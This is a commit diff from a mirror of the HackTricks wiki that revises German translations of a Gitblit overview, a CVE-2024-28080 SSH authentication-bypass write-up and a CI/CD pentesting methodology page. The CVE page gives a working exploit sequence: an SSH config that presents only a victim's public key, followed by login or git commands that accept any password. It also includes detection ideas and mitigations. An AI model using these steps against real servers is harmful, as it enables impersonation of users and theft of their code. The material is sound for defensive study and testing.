mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
Translator
@@ -1,10 +1,10 @@
|
||||
# Gitblit Sicherheit
|
||||
# Gitblit-Sicherheit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Was ist Gitblit
|
||||
|
||||
Gitblit ist ein selbstgehosteter Git‑Server, geschrieben in Java. Er kann als eigenständiges JAR oder in Servlet‑Containern laufen und stellt einen eingebetteten SSH‑Dienst (Apache MINA SSHD) für Git über SSH bereit.
|
||||
Gitblit ist ein selbstgehosteter Git‑Server, geschrieben in Java. Er kann als eigenständiges JAR oder in Servlet-Containern laufen und enthält einen eingebetteten SSH‑Dienst (Apache MINA SSHD) für Git über SSH.
|
||||
|
||||
## Themen
|
||||
|
||||
|
||||
@@ -2,38 +2,38 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Zusammenfassung
|
||||
## Summary
|
||||
|
||||
CVE-2024-28080 ist eine Authentifizierungsumgehung im embedded SSH‑Service von Gitblit aufgrund fehlerhafter Handhabung des Session‑Zustands bei der Integration mit Apache MINA SSHD. Wenn ein Benutzerkonto mindestens einen registrierten SSH‑Public‑Key hat, kann ein Angreifer, der den Benutzernamen und einen der öffentlichen Schlüssel dieses Benutzers kennt, sich ohne den privaten Schlüssel und ohne Passwort authentifizieren.
|
||||
CVE-2024-28080 ist ein authentication bypass im embedded SSH‑Service von Gitblit, verursacht durch falsche Handhabung des Sitzungszustands bei der Integration mit Apache MINA SSHD. Wenn ein Benutzerkonto mindestens einen SSH public key registriert hat, kann ein Angreifer, der den Benutzernamen und einen der public keys dieses Benutzers kennt, sich ohne privaten Schlüssel und ohne Passwort authentifizieren.
|
||||
|
||||
- Betroffen: Gitblit < 1.10.0 (beobachtet in 1.9.3)
|
||||
- Behoben: 1.10.0
|
||||
- Voraussetzungen für die Ausnutzung:
|
||||
- Git over SSH enabled on the instance
|
||||
- Das Konto des Opfers hat mindestens einen SSH public key in Gitblit registriert
|
||||
- Der Angreifer kennt den Benutzernamen des Opfers und einen ihrer öffentlichen Schlüssel (oft auffindbar, z. B. https://github.com/<username>.keys)
|
||||
- Affected: Gitblit < 1.10.0 (beobachtet in 1.9.3)
|
||||
- Fixed: 1.10.0
|
||||
- Requirements to exploit:
|
||||
- Git over SSH auf der Instanz aktiviert
|
||||
- Das Opferkonto hat mindestens einen SSH public key in Gitblit registriert
|
||||
- Angreifer kennt den Benutzernamen des Opfers und einen seiner public keys (oft auffindbar, z.B. https://github.com/<username>.keys)
|
||||
|
||||
## Root cause (state leaks between SSH methods)
|
||||
|
||||
In RFC 4252 verläuft die Public‑Key‑Authentifizierung in zwei Phasen: Der Server prüft zunächst, ob ein übergebener Public Key für einen Benutzernamen akzeptabel ist, und erst nach einem Challenge/Response mit einer Signatur authentifiziert er den Benutzer. In MINA SSHD wird der PublickeyAuthenticator zweimal aufgerufen: beim Key‑Acceptance (noch keine Signatur) und später, nachdem der Client eine Signatur zurückgibt.
|
||||
In RFC 4252 verläuft die public‑key authentication in zwei Phasen: Der Server prüft zuerst, ob ein bereitgestellter public key für einen Benutzernamen akzeptabel ist, und erst nach einem Challenge/Response mit einer Signatur authentifiziert er den Benutzer. In MINA SSHD wird der PublickeyAuthenticator zweimal aufgerufen: beim Key‑Acceptance (noch keine Signatur) und später, nachdem der Client eine Signatur zurücksendet.
|
||||
|
||||
Der PublickeyAuthenticator von Gitblit veränderte den Session‑Kontext beim ersten, vor der Signatur erfolgenden Aufruf, indem er das authentifizierte UserModel an die Session band und true zurückgab ("key acceptable"). Wenn die Authentifizierung später auf Passwort zurückfiel, vertraute der PasswordAuthenticator dem veränderten Session‑Zustand und machte abkürzend true, ohne das Passwort zu prüfen. Infolgedessen wurde nach einer vorherigen Public‑Key‑"Akzeptanz" für denselben Benutzer jedes Passwort (einschließlich leerer) akzeptiert.
|
||||
Der PublickeyAuthenticator von Gitblit veränderte den Sitzungskontext beim ersten, pre‑signature Aufruf, indem er das authentifizierte UserModel an die Session bindete und true zurückgab ("key acceptable"). Wenn die Authentifizierung später auf Passwort zurückfiel, vertraute der PasswordAuthenticator dem veränderten Session‑Zustand und machte einen Short‑Circuit, indem er true zurückgab, ohne das Passwort zu validieren. Infolgedessen wurde nach einer vorherigen public‑key "acceptance" für denselben Benutzer jedes Passwort (einschließlich leerer) akzeptiert.
|
||||
|
||||
Fehlerhafter Ablauf auf hoher Ebene:
|
||||
Fehlerhafter Ablauf (auf hoher Ebene):
|
||||
|
||||
1) Client bietet Benutzernamen + öffentlichen Schlüssel an (noch keine Signatur)
|
||||
2) Server erkennt den Schlüssel als zum Benutzer gehörig, hängt vorzeitig den User an die Session und gibt true zurück ("acceptable")
|
||||
3) Client kann nicht signieren (kein privater Schlüssel), daher fällt die Auth auf Passwort zurück
|
||||
4) Die Passwort‑Authentifizierung sieht bereits einen User in der Session und gibt bedingungslos Erfolg zurück
|
||||
1) Client bietet username + public key an (noch keine Signatur)
|
||||
2) Server erkennt den Key als zum Benutzer gehörig, bindet vorzeitig den Benutzer an die Session und gibt true zurück ("acceptable")
|
||||
3) Client kann nicht signieren (kein private key), daher fällt die Auth auf Passwort zurück
|
||||
4) Password auth sieht bereits einen Benutzer in der Session und gibt bedingungslos Erfolg zurück
|
||||
|
||||
## Schritt‑für‑Schritt‑Ausnutzung
|
||||
## Step‑by‑step exploitation
|
||||
|
||||
- Sammle den Benutzernamen des Opfers und einen ihrer öffentlichen Schlüssel:
|
||||
- GitHub stellt öffentliche Schlüssel unter https://github.com/<username>.keys bereit
|
||||
- Öffentliche Server veröffentlichen oft authorized_keys
|
||||
- Konfiguriere OpenSSH so, dass nur die öffentliche Hälfte präsentiert wird, sodass die Signaturerzeugung fehlschlägt und ein Fallback auf Passwort erzwungen wird, während auf dem Server trotzdem der public‑key‑Acceptance‑Pfad ausgelöst wird.
|
||||
- Sammle den Benutzernamen des Opfers und einen seiner public keys:
|
||||
- GitHub stellt public keys unter https://github.com/<username>.keys bereit
|
||||
- Öffentliche Server geben oft authorized_keys preis
|
||||
- Konfiguriere OpenSSH so, dass nur die public‑Hälfte präsentiert wird, sodass die Signaturerzeugung fehlschlägt und ein Fallback auf Passwort erzwungen wird, während gleichzeitig der public‑key acceptance‑Pfad auf dem Server ausgelöst wird.
|
||||
|
||||
Beispiel SSH‑Client‑Konfiguration (kein privater Schlüssel verfügbar):
|
||||
Example SSH client config (no private key available):
|
||||
```sshconfig
|
||||
# ~/.ssh/config
|
||||
Host gitblit-target
|
||||
@@ -44,52 +44,52 @@ PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
```
|
||||
Verbinde dich und drücke bei der Passwortaufforderung Enter (oder gib irgendeinen string ein):
|
||||
Verbinden und drücken Sie Enter bei der Passwortabfrage (oder geben Sie eine beliebige Zeichenfolge ein):
|
||||
```bash
|
||||
ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
Die Authentifizierung gelingt, weil die vorherige public‑key‑Phase die Session in einen authentifizierten Benutzer verändert hat, und password auth diesem Zustand fälschlicherweise vertraut.
|
||||
Die Authentifizierung gelingt, weil die vorherige public‑key‑Phase den Session‑Zustand in einen authentifizierten Benutzer verändert hat, und password auth diesem Zustand fälschlicherweise vertraut.
|
||||
|
||||
Hinweis: Wenn ControlMaster‑Multiplexing in Ihrer SSH‑Konfiguration aktiviert ist, können nachfolgende Git‑Befehle die bereits authentifizierte Verbindung wiederverwenden, wodurch die Auswirkungen steigen.
|
||||
Hinweis: Wenn ControlMaster‑Multiplexing in Ihrer SSH‑Konfiguration aktiviert ist, können nachfolgende Git‑Befehle die bereits authentifizierte Verbindung wiederverwenden, was die Auswirkungen erhöht.
|
||||
|
||||
## Impact
|
||||
|
||||
- Vollständige Identitätsübernahme (Impersonation) jedes Gitblit‑Benutzers mit mindestens einem registrierten SSH public key
|
||||
- Lese-/Schreibzugriff auf Repositories entsprechend den Rechten des Opfers (Quellcode‑Exfiltration, unautorisierte Pushes, Supply‑Chain‑Risiken)
|
||||
- Potenzieller administrativer Schaden bei Angriff auf einen Admin‑Benutzer
|
||||
- Reiner Netzwerk‑Exploit; kein Brute‑Force oder privater Schlüssel erforderlich
|
||||
- Vollständige Identitätsübernahme jedes Gitblit‑Benutzers mit mindestens einem registrierten SSH public‑key
|
||||
- Lese-/Schreibzugriff auf Repositories entsprechend den Berechtigungen des Opfers (Source‑Exfiltration, unautorisierte Pushes, Supply‑Chain‑Risiken)
|
||||
- Potenzielle administrative Auswirkungen bei Zielvorgabe eines Admin‑Benutzers
|
||||
- Reiner Netzwerk‑Exploit; kein Brute‑Force oder private key erforderlich
|
||||
|
||||
## Detection ideas
|
||||
|
||||
- Überprüfen Sie SSH‑Logs auf Sequenzen, in denen ein publickey‑Versuch von einer erfolgreichen password‑Authentifizierung mit einem leeren oder sehr kurzen Passwort gefolgt wird
|
||||
- Suchen Sie nach Abläufen: publickey‑Methode bietet nicht unterstütztes/fehlangepasstes Schlüsselmaterial an, gefolgt von sofortigem Passwort‑Erfolg für denselben Benutzernamen
|
||||
- Überprüfen Sie SSH‑Logs auf Sequenzen, in denen ein publickey‑Versuch von einer erfolgreichen password‑Authentifizierung mit leerem oder sehr kurzem Passwort gefolgt wird
|
||||
- Suchen Sie nach Abläufen: publickey‑Methode bietet nicht unterstütztes/inkompatibles Key‑Material an, gefolgt von sofortigem password‑Erfolg für denselben Benutzernamen
|
||||
|
||||
## Mitigations
|
||||
|
||||
- Upgrade to Gitblit v1.10.0+
|
||||
- Until upgraded:
|
||||
- Disable Git over SSH on Gitblit, or
|
||||
- Restrict network access to the SSH service, and
|
||||
- Monitor for suspicious patterns described above
|
||||
- Rotate affected user credentials if compromise is suspected
|
||||
- Upgrade auf Gitblit v1.10.0+
|
||||
- Bis zum Upgrade:
|
||||
- Git over SSH auf Gitblit deaktivieren, oder
|
||||
- Netzwerkzugriff auf den SSH‑Dienst einschränken, und
|
||||
- Auf die oben beschriebenen verdächtigen Muster überwachen
|
||||
- Betroffene Benutzeranmeldeinformationen rotieren, falls ein Kompromiss vermutet wird
|
||||
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
|
||||
Muster: Wenn der public‑key‑Authenticator eines Servers Benutzer-/Session‑Zustand während der pre‑signature "key acceptable"‑Phase mutiert und andere Authenticators (z. B. password) diesem Zustand vertrauen, kann die Authentifizierung wie folgt umgangen werden:
|
||||
Pattern: Wenn der public‑key‑Authenticator eines Servers Benutzer-/Session‑Zustand während der pre‑signature "key acceptable"‑Phase verändert und andere Authenticators (z. B. password) diesem Zustand vertrauen, kann man die Authentifizierung umgehen, indem man:
|
||||
|
||||
- Vorzeigen eines legitimen public key des Zielbenutzers (kein privater Schlüssel)
|
||||
- Den Client zum Signaturfehler zwingen, sodass der Server auf password zurückfällt
|
||||
- Beliebiges Passwort eingeben, während der password‑Authenticator aufgrund des leaked state kurzschließt
|
||||
- Einen legitimen public key für den Zielbenutzer präsentiert (kein private key)
|
||||
- Den Client dazu bringt, beim Signieren zu scheitern, sodass der Server auf password zurückfällt
|
||||
- Beliebiges Passwort angibt, während der password‑Authenticator aufgrund des geleakten Zustands kurzschließt
|
||||
|
||||
Praktische Tipps:
|
||||
|
||||
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
|
||||
- Public key harvesting at scale: public keys aus üblichen Quellen abrufen, z. B. https://github.com/<username>.keys, organisatorische Verzeichnisse, Team‑Seiten, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): IdentityFile nur auf die .pub zeigen lassen, IdentitiesOnly yes setzen, PreferredAuthentications so belassen, dass publickey zuerst und dann password versucht wird
|
||||
- MINA SSHD integration pitfalls:
|
||||
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
|
||||
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
|
||||
- PublickeyAuthenticator.authenticate(...) darf Benutzer-/Session‑Zustand nicht anhängen, bevor der post‑signature‑Verifizierungs‑Pfad die Signatur bestätigt
|
||||
- PasswordAuthenticator.authenticate(...) darf keinen Erfolg aus einem während einer vorherigen, unvollständigen Authentifizierungsmethode veränderten Zustand ableiten
|
||||
|
||||
Related protocol/design notes and literature:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD Methodology
|
||||
# Pentesting CI/CD Methodik
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS stands for **Version Control System**, dieses System ermöglicht Entwicklern, ihren **Source Code zu verwalten**. Das gebräuchlichste ist **git** und man findet es in der Regel bei Unternehmen auf einer der folgenden **Plattformen**:
|
||||
VCS steht für **Version Control System**, dieses System ermöglicht Entwicklern, ihren **Quellcode zu verwalten**. Der gebräuchlichste ist **git** und üblicherweise findet man Unternehmen, die eines der folgenden **platforms** verwenden:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -18,81 +18,81 @@ VCS stands for **Version Control System**, dieses System ermöglicht Entwicklern
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines ermöglichen Entwicklern, die **Ausführung von Code zu automatisieren** für verschiedene Zwecke, einschließlich Build, Tests und Deployment von Anwendungen. Diese automatisierten Workflows werden durch **bestimmte Aktionen ausgelöst**, wie z. B. code pushes, pull requests oder geplante Tasks. Sie sind nützlich, um den Prozess von der Entwicklung zur Produktion zu straffen.
|
||||
CI/CD pipelines ermöglichen es Entwicklern, die **Ausführung von Code zu automatisieren** für verschiedene Zwecke, darunter Build, Testing und Deployment von Anwendungen. Diese automatisierten Workflows werden durch **konkrete Aktionen ausgelöst**, wie Code pushes, pull requests oder geplante Tasks. Sie sind nützlich, um den Prozess von der Entwicklung bis zur Produktion zu straffen.
|
||||
|
||||
Allerdings müssen diese Systeme **irgendwo ausgeführt** werden und oft mit **privilegierten Credentials, um Code zu deployen oder auf sensitive Informationen zuzugreifen**.
|
||||
Allerdings müssen diese Systeme **irgendwo ausgeführt werden** und in der Regel mit **privilegierten Credentials, um Code zu deployen oder auf sensible Informationen zuzugreifen**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
> Selbst wenn einige VCS platforms erlauben, pipelines zu erstellen, werden wir in diesem Abschnitt nur potenzielle Angriffe auf die Kontrolle des Quellcodes analysieren.
|
||||
|
||||
Plattformen, die den Source Code deines Projekts enthalten, bergen sensitive Informationen und es ist wichtig, sehr sorgfältig mit den vergebenen Berechtigungen innerhalb dieser Plattform umzugehen. Dies sind einige häufige Probleme in VCS Plattformen, die ein Angreifer ausnutzen könnte:
|
||||
Plattformen, die den Quellcode deines Projekts enthalten, bergen sensible Informationen und man muss sehr vorsichtig mit den Berechtigungen innerhalb dieser Plattform sein. Dies sind einige häufige Probleme in VCS platforms, die ein Angreifer ausnutzen könnte:
|
||||
|
||||
- **Leaks**: Wenn dein Code Leaks in den Commits enthält und der Angreifer auf das Repo zugreifen kann (weil es public ist oder weil er Zugriff hat), könnte er diese Leaks entdecken.
|
||||
- **Access**: Wenn ein Angreifer **Zugriff auf ein Konto innerhalb der VCS platform** erhält, könnte er **mehr Sichtbarkeit und Berechtigungen** erlangen.
|
||||
- **Register**: Manche Plattformen erlauben es externen Benutzern einfach, ein Konto zu erstellen.
|
||||
- **SSO**: Manche Plattformen erlauben keine Registrierung, aber jeder mit einem gültigen SSO kann zugreifen (z. B. könnte ein Angreifer sein Github-Konto verwenden, um zuzugreifen).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... es gibt mehrere Arten von Tokens, die ein Benutzer stehlen könnte, um auf irgendeine Weise auf ein Repo zuzugreifen.
|
||||
- **Webhooks**: VCS platforms erlauben das Erstellen von webhooks. Wenn diese **nicht mit nicht sichtbaren Secrets geschützt** sind, könnte ein **Angreifer sie missbrauchen**.
|
||||
- Wenn kein Secret vorhanden ist, könnte der Angreifer den Webhook der Drittanbieter-Plattform missbrauchen.
|
||||
- Wenn das Secret in der URL steckt, gilt das Gleiche und der Angreifer hat das Secret ebenfalls.
|
||||
- **Code compromise:** Wenn ein böswilliger Akteur irgendeine Art von **write**-Zugriff auf die Repos hat, könnte er versuchen, **malicious code zu injecten**. Um erfolgreich zu sein, muss er möglicherweise Branch-Protections **bypassen**. Diese Aktionen können mit unterschiedlichen Zielen ausgeführt werden:
|
||||
- **Leaks**: Wenn dein Code Leaks in den Commits enthält und der Angreifer auf das repo zugreifen kann (weil es public ist oder weil er Zugang hat), könnte er die Leaks entdecken.
|
||||
- **Access**: Wenn ein Angreifer Zugriff auf ein Konto innerhalb der VCS platform erlangen kann, könnte er **mehr Sichtbarkeit und Berechtigungen** gewinnen.
|
||||
- **Register**: Einige platforms erlauben externen Nutzern einfach, ein Konto zu erstellen.
|
||||
- **SSO**: Manche platforms erlauben keine direkte Registrierung, aber jeder mit einem gültigen SSO kann Zugang erhalten (ein Angreifer könnte z.B. sein github-Konto verwenden).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... es gibt verschiedene Arten von Tokens, die ein Nutzer stehlen könnte, um auf irgendeine Weise auf ein repo zuzugreifen.
|
||||
- **Webhooks**: VCS platforms erlauben das Erstellen von webhooks. Wenn diese **nicht mit nicht sichtbaren secrets geschützt** sind, könnte ein **Angreifer sie missbrauchen**.
|
||||
- Wenn kein secret vorhanden ist, könnte der Angreifer den webhook der Drittanbieter-Plattform missbrauchen.
|
||||
- Wenn das secret in der URL enthalten ist, gilt dasselbe und der Angreifer hat auch das secret.
|
||||
- **Code compromise:** Wenn ein böswilliger Akteur irgendeine Art von **write**-Zugriff auf die Repos hat, könnte er versuchen, **bösartigen Code zu injecten**. Um erfolgreich zu sein, muss er möglicherweise **branch protections umgehen**. Diese Aktionen können mit unterschiedlichen Zielen durchgeführt werden:
|
||||
- Kompromittiere den main branch, um die **Production zu kompromittieren**.
|
||||
- Kompromittiere den main (oder andere Branches), um **Entwickler-Maschinen zu kompromittieren** (da diese normalerweise Tests, terraform oder andere Dinge im Repo auf ihren Maschinen ausführen).
|
||||
- Kompromittiere den main (oder andere Branches), um **Developer-Maschinen zu kompromittieren** (da diese oft Tests, terraform oder andere Dinge innerhalb des repos auf ihren Maschinen ausführen).
|
||||
- **Compromise the pipeline** (siehe nächsten Abschnitt)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
Die gebräuchlichste Art, eine Pipeline zu definieren, ist die Verwendung einer **CI configuration file, die im Repository gehostet** wird, das die Pipeline baut. Diese Datei beschreibt die Reihenfolge der ausgeführten Jobs, Bedingungen, die den Ablauf beeinflussen, und Einstellungen der Build-Umgebung.\
|
||||
Diese Dateien haben typischerweise einen konsistenten Namen und ein Format, z. B. — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), und die GitHub Actions YAML Dateien unter .github/workflows. Wenn die Pipeline ausgelöst wird, **holt der Pipeline-Job den Code** aus der gewählten Quelle (z. B. Commit / Branch) und **führt die in der CI configuration file angegebenen Befehle** gegen diesen Code aus.
|
||||
Die gebräuchlichste Methode, eine pipeline zu definieren, ist die Verwendung einer **CI configuration file, die im Repository gehostet wird**, das die pipeline baut. Diese Datei beschreibt die Reihenfolge der ausgeführten Jobs, Bedingungen, die den Ablauf beeinflussen, und die Build-Umgebungseinstellungen.\
|
||||
Diese Dateien haben typischerweise einen konsistenten Namen und ein Format, z. B. — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) und die GitHub Actions YAML-Dateien unter .github/workflows. Wenn sie ausgelöst werden, **holt der Pipeline-Job den Code** aus der ausgewählten Quelle (z. B. Commit / Branch) und **führt die in der CI configuration file angegebenen Befehle** gegen diesen Code aus.
|
||||
|
||||
Das ultimative Ziel des Angreifers ist daher, diese Konfigurationsdateien oder die Befehle, die sie ausführen, auf irgendeine Weise zu **compromisen**.
|
||||
Daher ist das ultimative Ziel des Angreifers, diese Konfigurationsdateien oder die Befehle, die sie ausführen, irgendwie zu **kompromittieren**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
Der Poisoned Pipeline Execution (PPE) Pfad nutzt Berechtigungen in einem SCM Repository aus, um eine CI Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den nötigen Berechtigungen können CI config Dateien oder andere Dateien, die vom Pipeline-Job verwendet werden, modifizieren, um bösartige Befehle einzufügen. Dadurch wird die CI Pipeline "poisoned" und diese bösartigen Befehle ausgeführt.
|
||||
Der Poisoned Pipeline Execution (PPE) Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den notwendigen Berechtigungen können CI configuration files oder andere Dateien, die vom Pipeline-Job verwendet werden, so ändern, dass bösartige Befehle enthalten sind. Dies "vergiftet" die CI pipeline und führt zur Ausführung dieser bösartigen Befehle.
|
||||
|
||||
Damit ein böswilliger Akteur einen PPE-Angriff erfolgreich durchführen kann, muss er:
|
||||
|
||||
- **Write access to the VCS platform** haben, da Pipelines in der Regel ausgelöst werden, wenn ein Push oder ein Pull Request erfolgt. (Siehe die VCS pentesting methodology für eine Zusammenfassung der Wege, um Zugriff zu erhalten).
|
||||
- Beachte, dass manchmal ein **external PR als "write access"** gilt.
|
||||
- Selbst wenn er write permissions hat, muss er sicherstellen können, dass er die **CI config file oder andere Dateien, auf die die Config angewiesen ist, modifizieren** kann.
|
||||
- Dafür muss er möglicherweise Branch-Protections **bypassen**.
|
||||
- **Write access to the VCS platform** haben, da Pipelines üblicherweise bei einem push oder pull request ausgelöst werden. (Siehe die VCS pentesting methodology für eine Zusammenfassung der Möglichkeiten, Zugang zu erhalten).
|
||||
- Beachte, dass manchmal ein **external PR als "write access"** zählt.
|
||||
- Selbst wenn er write permissions hat, muss er sicher sein, dass er die **CI config file oder andere Dateien, auf die die Konfiguration angewiesen ist, ändern kann**.
|
||||
- Dafür muss er möglicherweise in der Lage sein, **branch protections zu umgehen**.
|
||||
|
||||
Es gibt 3 PPE-Varianten:
|
||||
Es gibt 3 PPE-Flavours:
|
||||
|
||||
- **D-PPE**: Ein **Direct PPE** Angriff tritt auf, wenn der Akteur die **CI config** Datei direkt **modifiziert**, die ausgeführt werden soll.
|
||||
- **I-DDE**: Ein **Indirect PPE** Angriff tritt auf, wenn der Akteur eine **Datei modifiziert**, auf die die CI config angewiesen ist (z. B. ein Makefile oder eine terraform config).
|
||||
- **Public PPE or 3PE**: In einigen Fällen können Pipelines von Benutzern ausgelöst werden, die **kein write access im Repo** haben (und vielleicht nicht einmal Teil der Org sind), weil sie ein PR senden können.
|
||||
- **3PE Command Injection**: Üblicherweise setzen CI/CD pipelines **environment variables** mit **Informationen über den PR**. Wenn dieser Wert vom Angreifer kontrolliert werden kann (z. B. der Titel des PR) und an einer **gefährlichen Stelle** verwendet wird (z. B. beim Ausführen von **sh commands**), könnte ein Angreifer **Befehle injizieren**.
|
||||
- **D-PPE**: Ein **Direct PPE**-Angriff tritt auf, wenn der Akteur die **CI config**-Datei direkt verändert, die ausgeführt werden soll.
|
||||
- **I-DDE**: Ein **Indirect PPE**-Angriff tritt auf, wenn der Akteur eine **Datei** ändert, auf die die CI config Datei, die ausgeführt werden soll, **relyt** (z. B. eine make file oder eine terraform config).
|
||||
- **Public PPE or 3PE**: In einigen Fällen können Pipelines von Nutzern ausgelöst werden, die **keinen write access im repo** haben (und möglicherweise nicht einmal Teil der Org sind), weil sie einen PR senden können.
|
||||
- **3PE Command Injection**: Üblicherweise setzen CI/CD pipelines **env variables** mit **Informationen über den PR**. Wenn dieser Wert von einem Angreifer kontrolliert werden kann (z. B. der Titel des PR) und an einer **gefährlichen Stelle** verwendet wird (z. B. beim Ausführen von **sh commands**), könnte ein Angreifer **Befehle darin injecten**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Wenn man die 3 Varianten kennt, schauen wir uns an, was ein Angreifer nach erfolgreicher Exploitation erreichen könnte:
|
||||
Wenn man die 3 Flavours kennt, schauen wir, was ein Angreifer nach einer erfolgreichen Ausnutzung erreichen könnte:
|
||||
|
||||
- **Secrets**: Wie bereits erwähnt, benötigen Pipelines **Privilegien** für ihre Jobs (Code abrufen, bauen, deployen ...) und diese Privilegien werden üblicherweise in **Secrets** hinterlegt. Diese Secrets sind oft über **env variables oder Dateien im System** zugänglich. Daher wird ein Angreifer immer versuchen, so viele Secrets wie möglich zu exfiltrieren.
|
||||
- Abhängig von der Pipeline-Plattform **muss der Angreifer die Secrets vielleicht in der Config angeben**. Das bedeutet, wenn der Angreifer die CI configuration pipeline nicht ändern kann (z. B. bei I-PPE), könnte er **nur die Secrets exfiltrieren, die diese Pipeline bereits hat**.
|
||||
- **Computation**: Der Code wird irgendwo ausgeführt; abhängig davon, wo, könnte ein Angreifer weiter pivotieren.
|
||||
- **On-Premises**: Wenn die Pipelines on-premises ausgeführt werden, könnte ein Angreifer in einem **internen Netzwerk** landen mit Zugriff auf weitere Ressourcen.
|
||||
- **Cloud**: Der Angreifer könnte **andere Maschinen in der Cloud** erreichen, aber auch IAM roles/service accounts **tokens** exfiltrieren, um **weiteren Zugang in der Cloud** zu erhalten.
|
||||
- **Platforms machine**: Manchmal werden Jobs innerhalb der **Pipelines platform machines** ausgeführt, die normalerweise in einer Cloud laufen und **keinen weiteren Zugang** haben.
|
||||
- **Select it:** Manchmal hat die **Pipelines platform mehrere Maschinen konfiguriert** und wenn du die CI config ändern kannst, kannst du **angeben, wo der malicious code laufen soll**. In diesem Fall wird ein Angreifer wahrscheinlich auf jeder möglichen Maschine eine Reverse Shell starten, um weiter zu versuchen, sie auszunutzen.
|
||||
- **Compromise production**: Wenn du in der Pipeline bist und die finale Version von dort gebaut und deployed wird, könntest du den Code kompromittieren, der letztlich in Production läuft.
|
||||
- **Secrets**: Wie bereits erwähnt, benötigen Pipelines **Privileges** für ihre Jobs (Code abrufen, builden, deployen ...) und diese Privilegien werden üblicherweise in **secrets** hinterlegt. Diese secrets sind meist über **env variables oder Dateien im System** zugänglich. Daher wird ein Angreifer stets versuchen, so viele secrets wie möglich zu exfiltrieren.
|
||||
- Abhängig von der Pipeline-Plattform **muss der Angreifer die secrets möglicherweise in der Konfiguration angeben**. Das bedeutet, wenn der Angreifer die CI configuration pipeline nicht ändern kann (**I-PPE** zum Beispiel), könnte er **nur die secrets exfiltrieren, die diese pipeline besitzt**.
|
||||
- **Computation**: Der Code wird irgendwo ausgeführt; abhängig davon, wo er ausgeführt wird, könnte ein Angreifer weiter pivotieren.
|
||||
- **On-Premises**: Wenn die Pipelines on-premises ausgeführt werden, könnte ein Angreifer in einem **internen Netzwerk mit Zugriff auf weitere Ressourcen** landen.
|
||||
- **Cloud**: Der Angreifer könnte auf **andere Maschinen in der Cloud** zugreifen, aber auch IAM roles/service accounts **tokens** exfiltrieren, um **weiteren Zugriff innerhalb der Cloud** zu erhalten.
|
||||
- **Platforms machine**: Manchmal werden Jobs innerhalb der **Pipelines platform machines** ausgeführt, die üblicherweise in einer Cloud liegen und **keinen weiteren Zugriff** bieten.
|
||||
- **Select it:** Manchmal hat die **Pipelines platform mehrere Maschinen konfiguriert** und wenn man die CI configuration file ändern kann, kann man **angeben, wo man den bösartigen Code ausführen möchte**. In dieser Situation wird ein Angreifer wahrscheinlich auf jeder möglichen Maschine eine reverse shell starten, um weitere Exploits zu versuchen.
|
||||
- **Compromise production**: Wenn man innerhalb der pipeline ist und die finale Version von dort gebaut und deployed wird, könnte man **den Code kompromittieren, der letztlich in Production läuft**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ist ein Open-Source-Tool zur Auditierung deiner Software Supply Chain für Security Compliance, basierend auf einem neuen [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Das Audit konzentriert sich auf den gesamten SDLC-Prozess und kann Risiken von Code bis Deploy aufdecken.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ist ein Open-Source-Tool zur Überprüfung deiner Software-Supply-Chain-Stack-Sicherheit anhand eines neuen [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Das Audit konzentriert sich auf den gesamten SDLC-Prozess und kann Risiken vom Code-Zeitpunkt bis zur Deploy-Zeit aufdecken.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Siehe diesen interessanten Artikel über die Top 10 CI/CD Risiken laut Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
